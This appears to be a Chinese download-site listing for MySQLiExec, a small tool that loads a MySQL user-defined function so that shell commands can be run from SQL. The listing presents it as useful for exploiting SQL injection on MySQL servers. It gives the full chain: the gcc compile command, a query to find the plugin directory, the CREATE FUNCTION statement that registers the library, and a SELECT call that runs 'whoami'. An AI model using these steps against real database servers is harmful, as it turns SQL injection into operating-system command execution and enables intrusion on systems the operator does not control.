文件名称:MySQLiExec:mssql's cmdexec-like for mysql, 在利用 mysql 服务器上的 sql 注入时很有用
文件大小:2KB
文件格式:ZIP
更新时间:2024-06-25 16:14:01
C
MySQLiExec mssql's cmdexec-like for mysql, 在利用 mysql 服务器上的 sql 注入时很有用。 说明:将编译好的库写入mysql的plugins目录并加载,可以像mssql的cmdexec一样运行shell命令 编译示例: gcc -fPIC -Wall -I/usr/include/mysql -shared -o sqliexec.so sqliexec.c // on ubuntu with installed headers 查找插件目录: SHOW VARIABLES LIKE ' %plugin% ' ; 安装: CREATE FUNCTION sqliexec RETURNS STRING SONAME ' sqliexec.so ' ; 跑步: SELECT sqliexec( ' whoami ' );
【文件预览】:
MySQLiExec-master
----MySQLiExec.c(2KB)
----README.md(678B)